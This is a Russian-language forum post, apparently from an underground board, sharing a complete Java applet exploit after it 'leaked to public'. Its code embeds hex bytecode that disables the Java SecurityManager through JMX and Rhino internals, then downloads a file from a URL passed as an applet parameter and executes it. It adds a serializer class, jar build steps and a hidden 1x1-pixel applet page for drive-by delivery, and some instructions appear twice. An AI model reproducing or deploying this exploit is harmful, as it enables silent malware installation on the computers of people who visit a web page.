так как сплойт утек в паблик, выкладываю свой вариант вместе с обходом high level security:
Сам .class:
Сериализация:
Компилируем оба класса, Exploit.class сохраняем. Далее делаем джарник для сериализатора
%JDK_PATH%\bin\jar.exe -cfe s.jar SerApplet *.class
Запускаем джарник сериализатора и получаем Exploit.ser.
Для использования нужно положить в корень Exploit.class и Exploit.ser, для запуска используем вот такой html
Сам .class:
Код:
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.MalformedInputException;
import java.io.*;
import java.applet.*;
import java.lang.*;
import com.sun.jmx.mbeanserver.*;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
public class Exploit extends Applet
{
private Method getMethod(Class classObject, String methodName, boolean onlyNullArgs)
{
try
{
Method[] methods = (Method[])Introspector.elementFromComplex((Object)classObject, "declaredMethods");
for(Method method : methods)
{
String name = method.getName();
Class[] types = method.getParameterTypes();
if(name != methodName)
continue;
if(onlyNullArgs && types.length != 0)
continue;
return method;
}
}
catch(Exception e)
{
e.printStackTrace();
}
return null;
}
public void start()
{
try
{
Class classContext = loadClass(@"sun.org.mozilla.javascript.internal.Context");
Class classDefiningClassLoader = loadClass(@"sun.org.mozilla.javascript.internal.DefiningClassLoader");
Method methodContextEnter = getMethod(classContext, @"enter", true);
Object ctx = methodContextEnter.invoke(null);
Method methodContextCreateClassLoader = getMethod(classContext, @"createClassLoader", false);
Object classLoader = methodContextCreateClassLoader.invoke(ctx, new Object[]{null});
// DisableSecurity.class bytecode
String s = "CAFEBABE00000033002D0A0007001B0A001C001D07001E0A0003001F0A002000210700220700230700240100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100294C6A6176612F73656375726974792F50726976696C65676564416374696F6E457863657074696F6E3B0100047468697301000A4C44697361626C65723B01000D537461636B4D61705461626C6507002207001E01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A457863657074696F6E7307002501000A536F7572636546696C6501000D44697361626C65722E6A6176610C0009000A0700260C002700280100276A6176612F73656375726974792F50726976696C65676564416374696F6E457863657074696F6E0C0029000A07002A0C002B002C01000844697361626C65720100106A6176612F6C616E672F4F626A6563740100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E0100136A6176612F6C616E672F457863657074696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B01000F7072696E74537461636B54726163650100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B2956002100060007000100080000000200010009000A0001000B0000007800010002000000122AB700012AB8000257A700084C2BB60004B1000100040009000C00030003000C0000001A0006000000070004000A0009000F000C000C000D000E00110010000D000000160002000D0004000E000F0001000000120010001100000012000000100002FF000C00010700130001070014040001001500160002000B00000034000100010000000601B8000501B000000002000C0000000A00020000001400040016000D0000000C000100000006001000110000001700000004000100180001001900000002001A";
byte[] byteCode = hex2str(s);
Method methodClassLoaderDefineClass = getMethod(classDefiningClassLoader, @"defineClass", false);
Class securityDisabler = (Class)methodClassLoaderDefineClass.invoke(classLoader, null, byteCode);
securityDisabler.newInstance();
String url = this.getParameter("j329");
run(url);
}
catch(ReflectionException e)
{
e.printStackTrace();
}
catch(Exception e)
{
e.printStackTrace();
}
}
private byte[] loadByteCode(String name) throws IOException
{
byte[] temp = new byte[8149];
ByteArrayOutputStream outStream = new ByteArrayOutputStream();
InputStream inStream = getClass().getResourceAsStream(name);
int length;
while((length = inStream.read(temp)) > 0)
{
outStream.write(temp, 0, length);
}
return outStream.toByteArray();
}
private Class loadClass(String name) throws ReflectionException
{
ClassLoader a = null;
JmxMBeanServer server = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator instatiator = server.getMBeanInstantiator();
return instatiator.findClass(name, a);
}
private static byte[] hex2str(String s)
{
byte[] buffer = new byte[s.length()/2];
for(int i = 0; i < s.length(); i+=2)
{
byte n = (byte)((Character.digit(s.charAt(i), 16) << 4) + (Character.digit(s.charAt(i+1), 16)));
buffer[i/2] = n;
}
return buffer;
}
public void run(String url)
{
try
{
String file = download(url);
if(file != "")
{
execute(file);
}
}
catch(Exception e) {}
return;
}
private static String getTempPath() throws IOException
{
File temp = File.createTempFile("aux-fn-ajkgh", ".tmp");
return temp.getAbsolutePath();
}
private void execute(String file) throws IOException
{
Runtime.getRuntime().exec(file);
}
private String download(String path)
{
try
{
URL url = new URL(path);
URLConnection link = url.openConnection();
File file = new File(getTempPath());
BufferedInputStream streamInput = new BufferedInputStream(link.getInputStream());
BufferedOutputStream streamOutput = new BufferedOutputStream(new FileOutputStream(file));
byte[] buffer = new byte[1024];
while(true)
{
int cnt = streamInput.read(buffer);
if(cnt == -1)
{
break;
}
streamOutput.write(buffer, 0, cnt);
}
streamOutput.flush();
streamOutput.close();
return file.getAbsolutePath();
}
catch(Exception e){}
return "";
}
}
Сериализация:
Код:
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerApplet
{
public static void main(String args[]) throws IOException
{
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
Exploit ts = new Exploit();
ts.stop();
oos.writeObject(ts);
FileOutputStream fos=new FileOutputStream("Exploit.ser");
fos.write(baos.toByteArray());
fos.close();
}
}
Компилируем оба класса, Exploit.class сохраняем. Далее делаем джарник для сериализатора
%JDK_PATH%\bin\jar.exe -cfe s.jar SerApplet *.class
Запускаем джарник сериализатора и получаем Exploit.ser.
Для использования нужно положить в корень Exploit.class и Exploit.ser, для запуска используем вот такой html
Код:
<html><head></head>
<body>
<applet object="Exploit.ser" width="1" height="1">
</applet></body></html>